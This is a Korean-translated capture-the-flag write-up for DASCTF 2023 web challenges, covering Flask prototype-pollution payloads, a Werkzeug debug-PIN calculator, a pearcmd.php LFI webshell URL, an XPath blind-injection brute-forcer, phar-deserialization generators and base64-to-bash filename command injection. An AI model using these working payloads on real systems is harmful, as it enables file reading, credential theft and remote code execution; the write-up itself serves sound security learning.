[DASCTF 2023 & 0X401 July Summer Challenge] 웹 방향에 관한 몇 가지 질문에 대한 자세한 작성

이지플라스크

import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
    for i in black_list:
        if i in data:
            return False
    return True

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class user():
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False

Users = []

@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()
            merge(data, User)
            Users.append(User)
        except Exception:
            return "Register Failed"
        return "Register Success"
    else:
        return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Login Failed"
            for user in Users:
                if user.check(data):
                    session["username"] = data["username"]
                    return "Login Success"
        except Exception:
            return "Login Failed"
    return "Login Failed"

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)

코드 설명:

  1. 필수 모듈을 가져옵니다.
  • uuid: Flask 애플리케이션용 임의 키를 생성하는 데 사용됩니다.
  • Flask패키지에서 : 이러한 모듈은 웹 애플리케이션을 생성하고, requestHTTP 요청을 처리하고, 사용자 세션을 관리하는 데 사용됩니다.sessionflask
  • secretIn black_list: black_list민감한 단어 목록이 포함된 것으로 가정됩니다.
  1. Flask 애플리케이션과 키를 설정합니다.
  • Flask 애플리케이션 객체를 생성하고 세션 데이터를 보호하는 데 사용되는 무작위로 생성된 키로 설정합니다.
  1. 몇 가지 도우미 함수를 정의합니다.
  • check(data)black_list: 들어오는 데이터가 중요 단어 목록 에 포함되어 있는지 확인하는 데 사용됩니다 .
  • merge(src, dst): 두 개의 사전 개체를 병합하고 src사전의 내용을 dst사전에 병합하는 데 사용됩니다.
  1. 클래스를 정의합니다 user:
  • 이 클래스에는 usernamepassword속성이 포함되어 있으며 check사용자가 입력한 데이터가 현재 인스턴스의 사용자 이름 및 비밀번호와 일치하는지 확인하는 메서드가 있습니다.
  1. 등록된 사용자 정보를 저장하기 위해 빈 Users목록을 만듭니다.
  2. 세 가지 경로가 정의됩니다.
  • /register: 사용자 등록을 위한 POST 요청을 처리합니다.
  • /login: 사용자 로그인에 대한 POST 요청을 처리합니다.
  • /: GET 요청을 처리하고 현재 코드 파일의 내용을 표시하는 데 사용됩니다.
  1. /register라우팅 처리 기능:
  • POST 요청에서 데이터를 가져와서 민감한 단어 목록에 포함되어 있는지 확인하세요. 민감한 단어가 있을 경우 등록이 실패됩니다.
  • 수신된 데이터를 JSON 형식으로 변환하고 데이터에 usernamepassword필드가 포함되어 있는지 확인하세요. 그렇지 않으면 등록이 실패합니다.
  • user개체를 만들고 요청의 데이터를 해당 개체에 병합합니다.
  • Users등록을 완료하려면 목록 에 사용자 개체를 추가하세요 .
  1. /login라우팅 처리 기능:
  • POST 요청에서 데이터를 가져오고 데이터에 usernamepassword필드가 포함되어 있는지 확인하세요.
  • 사용자가 입력한 데이터가 등록된 사용자의 사용자 이름 및 비밀번호와 일치하는지 확인하는 메서드를 Users사용하여 목록의 사용자 개체를 반복합니다 .user.check(data)
  • 일치에 성공하면 username세션( session)에 저장되고 "Login Success"가 반환되어 로그인에 성공했음을 나타냅니다.
  1. /라우팅 처리 기능:
  • GET 요청을 처리하고 현재 코드 파일의 내용을 요청자에게 반환합니다.

지금 이 질문을 배워보세요Python原型链污染

자세한 내용은 Article_kelp 마스터: Python 프로토타입 체인 오염 변형(prototype-pollution-in-python)을 참조하세요.

두 가지 예상치 못한 해결책이 있습니다.

첫 번째는 파일 속성을 통해 직접 환경 변수를 읽는 것입니다.

__file__은 모듈이 로드된 파일의 경로 이름입니다(파일에서 로드된 경우). __file__ 이 속성은 인터프리터에 정적으로 연결된 C 모듈에는 존재하지 않습니다. 공유 라이브러리에서 동적으로 로드되는 확장 모듈의 경우 공유 라이브러리 파일의 경로 이름입니다.

귀하의 경우 모듈은 __file__ 전역 네임스페이스에 있는 자체 속성에 액세스하고 있습니다.

금지되어 있기 때문에 전역변수를 이용하여 환경변수를 저장하는 파일로 __init__바로 사용할 수 있습니다 .file

유효 탑재량:

{
    
    
	"username":"aaa",
	"password":"bbb",
	"__class__":{
    
    
        "check":{
    
    
            "__globals__":{
    
    
                "__file__" : "/proc/1/environ"
            }
        }
	}
}

이미지-20230726152939436

/라우트 에서 알 수 있듯이 라우트는 __file__속성을 통해 파일을 직접 읽어서 출력하므로 직접 접근만으로도 충분합니다.

이미지-20230726153327774

두 번째 유형,static静态目录污染

_static_url_path

이 속성은 flask정적 디렉터리의 값을 저장하며 기본값은 입니다 static. 액세스 flask중인 리소스는 와 같이 사용될 수 있으며 http://domain/static/xxx, 이는 실제로 _static_url_path디렉터리의 xxx파일 에 액세스하고 파일 내용을 응답 콘텐츠로 반환하는 것과 동일합니다.

__init__따라서 오염에 대한 페이로드를 직접 구성할 수 있으며 , 질문은 필터링되지만 check한 번 경험 json.loads하고 json 인식 후에 페이로드를 unicode전달할 수 있습니다 .Unicode编码进行绕过

{
    
    
    "__init\u005f_":{
    
    
        "__globals__":{
    
    
            "app":{
    
    
                "_static_folder":"/"
            }
        }
    },
	"username":1,
	"password":1
}

페이로드는 Boogipop 마스터인 DASCTF 2023 및 0X401 Web WriteUp 에서 제공됩니다.

생성 후의 값은 _static_folder루트 디렉터리가 됩니다.

이미지-20230726144104289

그런 다음 환경 변수를 읽어 플래그를 얻을 수 있습니다

이미지-20230726144536589

예상되는 솔루션:

문제는 플라스크의 디버그 모드를 켜고 콘솔에 액세스한 다음 임의의 파일로 읽고 计算PIN码마지막으로 RCE를 수행하는 것입니다.

스크립트를 사용하여 PIN 코드 계산

PIN 생성을 위한 6가지 요소

  • 사용자 이름: 모든 파일 읽기에서 /etc/password읽고 추측 할 수 있습니다.
  • 모드 이름: 기본값은flask.app
  • 앱 이름: 기본값은Flask
  • Moddir은 플라스크 라이브러리 app.py아래에 绝对路径있으며 오류를 보고하여 얻을 수 있습니다.예를 들어 매개 변수를 전달할 때 존재하지 않는 변수가 제공됩니다.
  • uuidnode mac 주소의 10진수: 임의 파일 읽기/sys/class/net/the0/address
  • machine_id: 기계 코드

machine_id 정보

어떤 파일이든 읽을 수 있으면 읽어보세요./usr/local/lib/python3.7/site-packages/werkzeug/debug/__init__.py

위 Python 버전은 오류 보고를 통해 얻을 수 있으며, 내부에서 get_machine-id 메소드를 찾습니다.

이미지-20230726163821678

그 중 하나를 읽으면 바로 알 수 /etc/machine-id있고 깨질 수도 있습니다 ./proc/sys/kernel/random/boot_id

그런 다음 계속해서 /proc/self/cgroup상위

따라서 우리는 machine_id가 두 값의 연결임을 알 수 있습니다.

스크립트를 사용할 때 PIN 코드를 올바르게 계산하려면 이 6가지 값을 얻어야 합니다.

이 질문으로 돌아가서, 먼저 그것을 얻고 username프로토타입 체인을 사용하여 그것을 오염시키십시오 __file__./etc/passwd

이미지-20230726164156494

그런 다음 /경로에 액세스 username하여root

이미지-20230726164225397

modnameappname다 기본값입니다. 다음에 얻은 절대 경로 는 경로가 존재하지 않는 인터페이스를 가리키 app.py도록 오염될 수 있으며 그런 다음 오류 보고 인터페이스로 들어갈 수 있습니다./

이미지-20230726165615710

그런 다음 URL을 통해 액세스하여 오류 보고 인터페이스로 들어간 다음 절대 경로를 가져옵니다./usr/local/lib/python3.10/site-packages/flask/app.py

이미지-20230726165737035

다음으로 uuidnode, 그것을 찾아서 어떤 파일이든 읽어보세요./sys/class/net/eth0/address

이미지-20230726170130155

하지만 이것은 16진수이므로 10진수로 변환해야 합니다.

이미지-20230726170359635

uuidnode: 을 얻고 173855817367817, 마지막으로 machine_id핀 코드를 계산하기 위해 그것을 얻습니다.

말했듯이 기계어 코드는 두 부분으로 구성되는데, 한 부분은 그 중 한 부분의 합이고 /etc/machine-id, 다른 부분은 경로 아래의 값입니다./proc/sys/kernel/random/boot_id/proc/self/cgroup

하나씩 읽어보면, 여기서 읽은 내용은 /etc/machine-id다음과 같다./proc/self/cgroup

이미지-20230726170832947

이미지-20230726170857198

첫 번째 절반을 얻었으니 96cec10d3d9307792745ec3b85c89620이제 두 번째 절반을 가져와서 아무 파일에서나 읽어 보겠습니다./proc/self/cgroup

이미지-20230726171111437

이미지-20230726171127307

이렇게 하면 후반전이 나옵니다.docker-b2878fa684ca3b35c5413ad77ecfb00b2f602e790779fc06da2e2e9a780f8a26.scope

정리하자면 6가지 조건은 다음과 같습니다.

  • 사용자 이름 : 루트
  • 모드 이름 : flask.app
  • 앱 이름: 플라스크
  • 모드 디렉터리:/usr/local/lib/python3.10/site-packages/flask/app.py
  • uuidnode : 173855817367817
  • machine_id:96cec10d3d9307792745ec3b85c89620docker-b2878fa684ca3b35c5413ad77ecfb00b2f602e790779fc06da2e2e9a780f8a26.scope

다음은 PIN 코드를 계산하는 스크립트입니다.

import hashlib
from itertools import chain
probably_public_bits = [
    'root', 		#username
    'flask.app',	#modname
    'Flask',		#appname
    '/usr/local/lib/python3.10/site-packages/flask/app.py' 	#moddir
]

private_bits = [
    '173855817367817', #uuidnode
    '96cec10d3d9307792745ec3b85c89620docker-b2878fa684ca3b35c5413ad77ecfb00b2f602e790779fc06da2e2e9a780f8a26.scope'# machine_id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{
      
      h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{
      
      int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

실행하여 결과 얻기678-582-683

[외부링크 이미지 전송에 실패했습니다. 원본 사이트에 리칭 방지 메커니즘이 있을 수 있습니다. 이미지를 저장하고 직접 업로드하는 것을 권장합니다. (img-Hcs9y0kN-1691317008893) (C:\Users\admin\AppData\Roaming\Typora\ typora-user-images\이미지-20230726172309573.png)]

그런 다음 console경로에 액세스하고 플라스크와 함께 제공되는 디버그를 입력하세요.

이미지-20230726172627697

계산한 PIN을 콘솔에 입력하고 RCE를 수행하세요.

이미지-20230726173233568

ez_cms

이 질문은 대회 내내 저를 괴롭혔고 저는 전혀 참을 수 없었습니다.

검사되는 것은 MyPage와 동일한 pearcmd.php로컬 파일 포함 입니다.NSSRound #8

[NSSCTF Round #8]——웹 특별 공모전 wp

/admin라우팅은 백그라운드에 존재하며, 로그인, 계좌번호, 비밀번호 등 취약한 비밀번호를 사용할 수 있습니다 admin.123456

이미지-20230725192615856

pearcmd.php파일을 호출한 다음 pear 명령을 사용해야 합니다.

페이로드 구성:

http://5d85cd1d-f879-4082-a4bf-1bfae8aec2e4.node4.buuoj.cn/admin/index.php?+config-create+/&r=../../../../../../../../../../usr/share/php/pearcmd&/<?=eval($_POST[cmd]);?>+../../../../../../../../tmp/shell.php

이미지-20230725194559615

그런 다음 생성된 것을 사용하여 1.phpRCE를 수행하고 Ant Sword를 사용하여 URL을 연결할 수 있습니다.

http://5d85cd1d-f879-4082-a4bf-1bfae8aec2e4.node4.buuoj.cn/admin/index.php?r=?r=../../../../../../../../tmp/1

이미지-20230725194723999

플래그는 루트 디렉터리 또는 rce에 있습니다.

cmd=system("ls /");

이미지-20230725194932784

깃발을 얻으세요

cmd=system("cat /f*");

이미지-20230725195128438

이 말씀은 아직도 존재합니다 SQL注入, XSS, 任意文件下载. 플래그 파일 이름을 알고 있으면 플래그를 직접 다운로드할 수 있습니다.

마이픽디스크

Dirsearch는 아무것도 찾지 못했고, 캡처된 패킷을 트림했지만 어떤 정보도 얻을 수 없었습니다.

이미지-20230727173301737

로그인 인터페이스가 있습니다. 범용 비밀번호를 사용해 보세요. 하지만 사용자 이름은 다음과 같아야 합니다.admin

이미지-20230727173546156

좀 이상하네요. 로그인은 되지만 잘 이해가 안 되네요.

이미지-20230727181159246

하지만 위의 요청 헤더에서 데이터 패킷이 전송될 수 있음을 볼 수 있으므로 계속해서 비밀번호를 가져오도록 xml선택할 수 있습니다 .XXE盲注

비밀번호를 얻으려면 여기에서 스크립트를 실행하세요.

import requests
import time
url ='http://bc385a83-ddb5-4347-920d-19c0e0e4fac0.node4.buuoj.cn:81/index.php'


strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'


flag =''
for i in range(1,100):
    for j in strs:

        #猜测根节点名称
        # payload_1 = {"username":"<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j),"password":123}
        #猜测子节点名称
        # payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测accounts的节点
        # payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测user节点
        # payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #跑用户名和密码
        # payload_username ="<username>'or substring(/accounts/user[1]/username/text(), {}, 1)='{}'  or ''='".format(i,j)
        payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}'  or ''='".format(i,j)
        data={
    
    
            "username":payload_username,
            "password":123,
            "submit":"1"
        }
        #
        # payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])


        #print(payload_username)
        r = requests.post(url=url,data=data)
        time.sleep(0.1)
        # print(r.text)
#003d7628772d6b57fec5f30ccbc82be1

        if "登录成功" in r.text:
            flag+=j
            print(flag)
            break

    if "登录失败" in r.text:
        break

print(flag)

비밀번호를 얻으세요: 003d7628772d6b57fec5f30ccbc82be1, 그런 다음 md5로 암호를 해독하여 비밀번호를 얻으세요 15035371139. 계정 번호는 입니다 admin. 그런 다음 로그인하세요.

로그인 후 인터페이스는 다음과 같습니다

이미지-20230728151728992

/y0u_cant_find_1t.zip힌트, , 압축을 풀어서 얻은 /index.php소스코드가 있는 것을 볼 수 있습니다 .

<?php
session_start();
error_reporting(0);
class FILE{
    
    
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
    
    
        if (preg_match("/\//i", $filename)){
    
    
            throw new Error("hacker!");
        }
        $num = substr_count($filename, ".");
        if ($num != 1){
    
    
            throw new Error("hacker!");
        }
        if (!is_file($filename)){
    
    
            throw new Error("???");
        }
        $this->filename = $filename;
        $this->size = filesize($filename);
        $this->lasttime = filemtime($filename);
    }
    public function remove(){
    
    
        unlink($this->filename);
    }
    public function show()
    {
    
    
        echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";
    }
    public function __destruct(){
    
    
        system("ls -all ".$this->filename);
    }
}
?>
<?php
if (!isset($_SESSION['user'])){
    
    
  echo '
<form method="POST">
    username:<input type="text" name="username"></p>
    password:<input type="password" name="password"></p>
    <input type="submit" value="登录" name="submit"></p>
</form>
';
  $xml = simplexml_load_file('/tmp/secret.xml');
  if($_POST['submit']){
    
    
    $username=$_POST['username'];
    $password=md5($_POST['password']);
    $x_query="/accounts/user[username='{
      
      $username}' and password='{
      
      $password}']";
    $result = $xml->xpath($x_query);
    if(count($result)==0){
    
    
      echo '登录失败';
    }else{
    
    
      $_SESSION['user'] = $username;
        echo "<script>alert('登录成功!');location.href='/index.php';</script>";
    }
  }
}
else{
    
    
    if ($_SESSION['user'] !== 'admin') {
    
    
        echo "<script>alert('you are not admin!!!!!');</script>";
        unset($_SESSION['user']);
        echo "<script>location.href='/index.php';</script>";
    }
  echo "<!-- /y0u_cant_find_1t.zip -->";
  if (!$_GET['file']) {
    
    
    foreach (scandir(".") as $filename) {
    
    
      if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
    
    
        echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
      }
    }
    echo '
  <form action="index.php" method="post" enctype="multipart/form-data">
  选择图片:<input type="file" name="file" id="">
  <input type="submit" value="上传"></form>
  ';
    if ($_FILES['file']) {
    
    
      $filename = $_FILES['file']['name'];
      if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
    
    
        die("hacker!");
      }
      if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
    
    
          echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
      } else {
    
    
        die('failed');
      }
    }
  }
  else{
    
    
      $filename = $_GET['file'];
      if ($_GET['todo'] === "md5"){
    
    
          echo md5_file($filename);
      }
      else {
    
    
          $file = new FILE($filename);
          if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
    
    
              echo "<img src='../" . $filename . "'><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
          } else if ($_GET['todo'] === "remove") {
    
    
              $file->remove();
              echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
          } else if ($_GET['todo'] === "show") {
    
    
              $file->show();
          }
      }
  }
}
?>

코드 설명:

  1. 먼저 코드는 세션을 열고 오류 보고 수준을 0(즉, 오류 정보가 표시되지 않음)으로 설정합니다.
  2. FILE다음으로, 이미지 파일에 대한 관련 작업을 처리하기 위해 명명된 클래스가 정의 됩니다. 이 클래스에는 다음과 같은 멤버 속성과 메서드가 있습니다.
  • 속성:
    • filename: 이미지 파일명을 저장합니다.
    • lasttime: 이미지 파일의 마지막 수정 시간을 저장합니다.
    • size: 저장된 이미지 파일의 크기입니다.
  • 방법:
    • __construct(): 객체를 초기화하는 데 사용되는 생성자입니다. 파일 이름에 슬래시( /), 여러 개의 점( .)이 포함되어 있는지, 유효한 파일인지 확인하는 등 일부 보안 검사를 수행합니다. 조건이 충족되지 않으면 Error예외가 발생합니다.
    • remove(): 기능을 이용하여 이미지 파일을 삭제하는 방법입니다 unlink().
    • show(): 이미지 정보, 출력 파일 이름, 마지막 수정 시간 및 크기를 표시하는 방법입니다.
    • __destruct(): 객체가 소멸될 때 실행되는 소멸자 여기서는 system()명령을 실행 ls -all하고 이미지 파일의 상세 정보를 표시하는 기능을 사용합니다.
  1. 그런 다음 코드는 사용자가 로그인했는지 여부를 확인합니다(세션으로 판단). 로그인이 없는 경우 로그인 양식이 표시되며, 사용자의 로그인 정보를 확인하며, 정보 확인을 위해 XML 파일을 사용합니다 secret.xml. 확인에 성공하면 사용자 이름이 세션에 저장되고 /index.php해당 페이지로 이동합니다.
  2. 사용자가 로그인되어 있고 관리자 계정(사용자 이름은 "admin")이 있는 경우 이미지 업로드 기능과 현재 디렉터리에 있는 모든 이미지 파일 목록이 표시됩니다. 사용자는 이미지 파일의 링크를 클릭하여 작업을 수행할 수 있으며 "제거"(이미지 삭제) 및 "표시"(이미지 정보 표시)를 지원할 수 있습니다. 또한 이미지 파일의 MD5 해시 값을 표시하는 데 사용되는 "md5" 매개변수를 지원합니다.
  3. 이미지 업로드 기능은 <form>태그와 enctype="multipart/form-data"속성을 사용하며, 사용자가 이미지를 업로드하면 코드는 파일 형식이 jpg, jpeg, gif, png 또는 bmp인지 확인하고 현재 디렉터리에 이미지를 저장합니다.
  4. 코드는 GET 메소드에서 매개변수 값을 file가져오며 todo, 이러한 매개변수는 사용자가 이미지 링크를 클릭할 때 URL에 포함됩니다.
  5. todo값이 "md5" 인 경우 md5_file()함수를 실행하여 지정된 파일의 MD5 해시값을 계산하여 페이지에 출력합니다.
  6. 그렇지 않으면 이미지 파일을 처리할 값을 기반으로 개체를 todo만듭니다 . FILE여기에 있는 클래스는 FILE이전에 정의되었으며 이미지 파일에 대한 기본 작업에 사용됩니다.
  7. 값이 "remove" 및 "show"가 아닌 경우 todo이는 사용자가 이미지 파일에 대한 링크를 클릭했음을 의미하며 코드는 이미지 미리보기와 두 개의 링크(하나는 이미지 삭제용(todo=remove))를 출력합니다. , 다른 하나는 이미지 정보(todo=show)를 표시하기 위한 것입니다.
  8. todo값이 "remove" 이면 $file->remove()이미지 파일을 삭제하는 메소드가 호출되고 JavaScript를 통해 프롬프트 상자가 팝업된 후 홈 페이지로 리디렉션됩니다 /index.php.
  9. todo값이 "show" 이면 $file->show()이미지의 세부정보를 표시하기 위해 메서드가 호출됩니다.

소스 코드 부분에는 세 가지 핵심 사항이 있습니다.

  1. 파일을 업로드할 때 파일 이름에 대한 유형 검사가 있습니다.

  2. FILE 클래스에는 RCE를 수행할 수 있는 명령 스플라이싱이 있지만 스플라이싱 매개변수에 대한 블랙리스트 검사가 있습니다.

  3. 들어오는 todo 매개변수가 md5이면 md5_file 함수가 호출됩니다.

    이미지-20230728164015702

방법 1:

md5_file을 phar 역직렬화의 진입점으로 사용하고, FILE의 파일 이름 매개변수 블랙리스트의 경우 이를 우회하기 위해 base64 인코딩 + 출력 스트림 리디렉션을 사용합니다.

XXE 블라인드 인젝션을 통해 얻은 비밀번호가 아닌 범용 비밀번호로 로그인하는 경우 로그인한 계정이 admin이 아니므로 작업을 수행할 때마다 세션이 파기되므로 로그인 패키지를 다시 전송해야 함 각 작업 전에, 세션 재설정

phar 패키지 생성에 사용된 스크립트는 다음과 같으며, 생성 후 suffix를 jpg로 변경하여 업로드한다.

<?php
class FILE{
    
    
    public $filename=";echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash -i>4.txt";
    #这里base64编码命令为:cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd
    public $lasttime;
    public $size;
    public function remove(){
    
    
        unlink($this->filename);
    }
    public function show()
    {
    
    
        echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";
    }
}

#获取phar包
$phar = new Phar("abc.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$o = new FILE();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

이 스크립트에 의해 생성된 파일의 기능은 명령을 실행한 후 얻은 파일의 내용을 출력하는 것이며 4.txt적절하게 수정할 수 있습니다.

방법 2:

이 메서드는 base64를 전달하지 않고 phar反序列化실행 가능한 명령 파일을 직접 생성한 후 그 결과를 echo 인터페이스에 출력합니다.

phar 패키지를 생성하는 스크립트는 다음과 같습니다.

<?php

class FILE{
    
    
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
    
    
        $this->filename = $filename;
    }
}

$a = new FILE("/;ls /");
$phartest=new phar('phartest.phar',0);
$phartest->startBuffering();
$phartest->setMetadata($a);
$phartest->setStub("<?php __HALT_COMPILER();?>");
$phartest->addFromString("test.txt","test");
$phartest->stopBuffering()
?>

우리가 생성한 파일을 업로드하고 burp를 사용하여 파일 접미사가 다음과 같이 패킷을 캡처합니다..jpg

이미지-20230728163015508

그런 다음 phar 프로토콜, 페이로드를 통해 액세스합니다.

http://3867c331-be50-486e-911f-5384704761cf.node4.buuoj.cn:81/index.php/?file=phar://1.jpg&todo=md5

이미지-20230728163237845

루트 디렉토리가 성공적으로 스캔된 것을 볼 수 있습니다. 플래그는 adjaskdhnask_flag_is_here_dakjdnmsakjnfksd파일에 있습니다. 위 스크립트의 내용을 수정하여 phar 파일을 재생성합니다. 명령으로 cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd플래그를 읽을 수 있습니다.

이미지-20230728165025078

이미지-20230728165046018

방법 3:

명령 타일 삽입

업로드된 파일명에 대해서만 문자열 콜라주를 수행하면 됩니다. 하지만 블랙리스트로 인해 filenamebase64 인코딩이 필요합니다.

여기 타겟 드론이 켜지지 않아서 매일 BUU를 꾸짖습니다.

대상 머신이 준비되었습니다. 파일을 업로드하고 패킷을 캡처합니다. 파일 이름을 다음으로 변경합니다.;echo bHMgLw==|base64 -d|bash;test.png

이미지-20230804152205699

그런 다음 파일에 액세스하면 디렉터리를 성공적으로 검색한 결과가 표시되는 것을 볼 수 있습니다.

이미지-20230804152244203

기본 명령이 페이로드가 되도록 명령을 수정합니다 cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd.

filename=";echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash;test.png"

액세스 후 플래그 받기

이미지-20230804153333752

this_py

질문은 우리에게 소스 코드를 직접 제공했습니다.

중요한 것은setting.py

"""
Django settings for openlug project.

Generated by 'django-admin startproject' using Django 2.2.5.

For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/

For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""

import os

# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))


# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/

# SECURITY WARNING: keep the secret key used in production non-secret!
SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'

# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = False

ALLOWED_HOSTS = ["*"]


# Application definition

INSTALLED_APPS = [
    # 'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'app'
]

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    # we're going to be RESTful in the future,
    # to prevent inconvenience, just turn csrf off.
    # 'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
]

ROOT_URLCONF = 'openlug.urls'
# for database performance
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
# use PickleSerializer
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'

TEMPLATES = [
    {
    
    
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [],
        'APP_DIRS': True,
        'OPTIONS': {
    
    
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]

WSGI_APPLICATION = 'openlug.wsgi.application'


# Database
# https://docs.djangoproject.com/en/2.2/ref/settings/#databases

DATABASES = {
    
    
    'default': {
    
    
        'ENGINE': 'django.db.backends.sqlite3',
        'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
    }
}


# Password validation
# https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators

AUTH_PASSWORD_VALIDATORS = [
    {
    
    
        'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
    },
    {
    
    
        'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
    },
    {
    
    
        'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
    },
    {
    
    
        'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
    },
]


# Internationalization
# https://docs.djangoproject.com/en/2.2/topics/i18n/

LANGUAGE_CODE = 'zh-Hans'

TIME_ZONE = 'Asia/Shanghai'

USE_I18N = True

USE_L10N = True

USE_TZ = True


# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.2/howto/static-files/

STATIC_URL = '/static/'

LOGIN_URL = '/'

코드 설명

이 코드는 Django 프로젝트를 위한 설정 파일(settings.py)로, 데이터베이스 연결, 템플릿 경로, 국제화 설정 등 프로젝트 구성을 위한 다양한 설정이 포함되어 있습니다. 아래에서는 이러한 설정의 의미를 단락별로 설명하겠습니다.

  1. 모듈 가져오기: 먼저 코드는 파일 경로와 디렉터리를 처리하는 데 사용되는 Python os모듈을 가져옵니다.
  2. 기본 경로 설정: BASE_DIR 변수는 프로젝트의 기본 디렉터리를 지정하며, os.path.abspath(__file__)현재 파일(settings.py)의 절대 경로를 얻은 후, os.path.dirname파일명과 마지막 디렉터리 이름을 두 번 제거하여 프로젝트의 루트 디렉터리를 얻습니다.
  3. 키 설정: SECRET_KEY 변수는 민감한 정보를 암호화하는 데 사용되는 비밀 키입니다. 프로덕션 환경에서는 이 키를 기밀로 유지해야 합니다.
  4. 디버그 설정: DEBUG 변수는 디버깅 모드 활성화 여부를 결정합니다. False보안을 보장하려면 프로덕션 환경에서 설정해야 합니다 .
  5. 허용된 호스트: ALLOWED_HOSTS 변수는 이 Django 프로젝트에 액세스할 수 있는 호스트 이름을 지정합니다. 이 예에서 ["*"]수단을 사용하면 모든 호스트의 액세스가 허용됩니다. 실제 프로덕션 환경에서는 허용되는 호스트를 제한해야 합니다.
